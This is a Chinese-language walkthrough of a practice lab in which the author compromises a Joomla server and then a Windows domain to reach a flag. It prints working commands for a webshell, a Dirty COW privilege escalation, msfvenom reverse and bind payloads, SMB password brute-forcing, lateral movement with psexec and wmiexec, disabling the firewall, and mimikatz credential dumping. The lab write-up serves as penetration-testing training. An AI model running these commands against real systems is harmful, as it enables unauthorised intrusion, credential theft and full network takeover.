红日靶场三
本环境为黑盒测试,在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点
环境搭建
新建一个VMnet2
本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录。已知出网主机为centos主机,将centos出网网卡和kali攻击机网卡都设置为NAT模式,其它网卡都默认vmnet2模式
开启centos,第一次运行,需重新获取桥接模式网卡ip,service network restart。查看ip发现两个网段192.168.48.0/24(出网ip)和192.168.93.0/24(内网ip)
在kali上ping一下出网主机,看能否连通。开启所有主机,靶场搭建完毕
服务器渗透
因为是黑盒测试,所以我们现在并不知道出网主机的ip。使用nmap扫描整个网段,探测存活主机
1 | nmap -sP -T4 192.168.1.0/24 |
端口扫描
1 | nmap -sS -p 1-65535 -A 192.168.1.110 |
dirsearch进行目录扫描,发现configuration.php,administrator
访问administrator管理员后台,测试不存在默认口令/弱口令,但configuration.php中发现管理员备份的数据库密码
连接mysql
用上面找到的数据库密码连接上mysql。翻数据找管理员的帐号,管理员帐号肯定是找带有user字段跟password字段的,发现umnbt_users
这个表跟管理员帐号最相似,但password这个地方不是明文
访问80端口的网站,CMS是Joomla,用kali自带工具joomscan进行扫描,扫描出joomla版本为3.9.12
1 | joomscan -u http://192.168.1.110 |
joomla官网虽然没有直接公布密码的加密方式,但是它为了防止用户忘记密码增加了一个添加超级管理员用户的方式,就是通过登录数据库执行sql语句达到新建超级管理员的效果
这里我们可以发现sql语句中的VALUES
中的第三项为密文,这里我们为了方便就用他给我们的这一串密文,这里对应的密码为secret
,当然也可以用其他对应的密文如下所示
执行sql语句,添加一个admin2 secret
这个新的超级管理员用户
或者直接用update修改数据库密码
使用admin2 secret
登录joomla后台。进入后台,找可以上传文件的地方上传图片马或者找一个能够写入sql语句的地方
后台getshell
经过谷歌后发现,joomla的后台有一个模板的编辑处可以写入文件,这里找到Extensions->Template->Templates
模板前面有<?php
前缀,只需要一句话木马中间部分,然后保存
使用蚁剑连接
发现无法执行命令,命令执行返回的是127
应该是disable_functions
禁用了命令执行的函数,在windows下绕过disable_functions
的方法很少,但在linux里面绕过disable_functions
的方法有很多
绕过disable_functions
可以使用蚁剑里自带的插件绕过
或者使用github上的 通过 LD_PRELOA 绕过 disable_functions
1 | /bypass_disablefunc.php?cmd=id&outpath=/tmp/123&&sopath=/tmp/bypass_disablefunc_x64.so |
内网渗透
ifconfig一下,发现这里的ip是另一个网段的ip。就是说我们之前拿到的那台linux的192.168.1.0/24这个网段相当于一个公网IP,但是真正的主机应该是192.168.93.0/24,但这个是一个内网网段,所以说最符合这种情况的就是nginx反向代理
翻翻文件,在/tmp
目录下发现了一个文件test.txt
1 | adduser wwwuser |
由于服务器开启了SSH服务于是尝试登录一下,成功登上。经过简单信息搜集发现这是一台双网卡机器,并且内核较老,可以使用脏牛漏洞提权
脏牛提权
由于编译器的不同,把kali编译好的脏牛提权exp上传到靶机执行,会报错。所以上传dirty.c到靶机上编译执行
1 | gcc -pthread dirty.c -o dirty -lcrypt //编译dirty.c |
执行成功,脏牛执行成功过后会自动生成一个名为firefart
的高权限用户,密码就是我们刚才设置的123456
切换到firefart
用户进行查看
msf
- elf文件上线
生成linux马
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f elf > a.elf |
msf监听
1 | use exploit/multi/handler |
centos上执行msf马即可上线
1 | chmod +x a.elf |
- 反弹shell
1 | use exploit/multi/script/web_delivery |
将payload复制到centos执行
反弹shell成功
设置socks代理,对192.168.93.0/24网段进行扫描
1 | use auxiliary/server/socks_proxy |
扫描发现内网里有3台主机存活,分别是192.168.93.10 192.168.93.20 192.168.93.30
继续扫描详细信息
1 | nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30 |
10这台主机开启了53端口DNS服务,大概率为域控
20这台主机开的都是几个常规端口,值得注意的就是1433端口,意味着20这台主机上有mssql服务
30这台主机也是开了几个常规端口,跟前面两台主机相比就没什么特征端口,应该是一个普通的域成员主机
永恒之蓝尝试
三台主机都开了139、445端口,那么先使用永恒之蓝模块先批量扫描一波看有没有可以直接用永恒之蓝打下来的主机。没有能够直接用永恒之蓝拿下的主机,win7跟2008匿名管道都没有开所以利用不了
密码枚举
这三台主机都开了445端口,可以使用smb,使用msf中的smb_login
模块进行密码枚举尝试
1 | use auxiliary/scanner/smb/smb_login |
爆破出30主机密码为123qwe!ASD
爆破出10主机密码为zxcASDqw123!!
20主机爆破报错,换工具爆破,使用kali自带工具hydra
成功爆破出2008密码也为123qwe!ASD
横向移动
psexec
使用msf自带模块进行攻击
1 | use exploit/windows/smb/psexec |
成功拿下30主机,获得会话后进行进程迁移,不然很开会断掉
1 | migrate PID |
用同样的方法,在2008主机和2012主机上失败
wmiexec
使用impacket包中的wmiexec工具
1 | python wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10' |
成功获得10主机cmd
1 | python wmiexec.py 'administrator:123qwe!ASD@192.168.93.20' |
成功获得20主机cmd
只有CMD且没有与外网连接,想要上传文件只能通过3389远程连接。开远程桌面功能
1 | wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 |
防火墙放行
1 | netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes |
连接2012主机的远程桌面失败
成功连接2008的远程桌面
登录时记得要切换用户为administrator
生成一个msf bind的马
1 | msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=5555 -f exe > shell1.exe |
将马通过远程连接上传到2008主机上
在kali上进行监听
1 | use exploit/multi/handler |
远程桌面执行msf马
通过getsystem提权,成功获得system权限
进程迁移
1 | migrate PID |
2012主机无法通过远程桌面上传文件,想到可以用文件共享
在获得2012主机的CMD中执行命令
1 | net use \\192.168.93.20\ipc$ "zxcASDqw123!!" /user:TEST.ORG\Administrator |
成功建立ipc共享
生成一个msf bind马
1 | msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=6666 -f exe > shell2.exe |
将马通过远程桌面上传到2008主机上
再通过ipc文件共享复制到2012主机上
上传成功,在msf开启监听
1 | exploit/multi/handler |
在CMD上执行马,发现没有收到会话,应该是被防火墙拦截了,关闭防火墙
1 | NetSh Advfirewall set allprofiles state off |
成功收到会话
使用getsystem命令提权
进程迁移
1 | migrate PID |
成功拿下所有主机
最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt
mimikatz抓域控密码
要是没有爆出10这台主机密码,也可以使用mimikatz抓取hash并保存为日志
1 | psexec64.exe \\192.168.93.20 cmd |
type mimikatz.log读取日志内容可以发现域控的帐号密码为Administrator zxcASDqw123!!
即可进行后续操作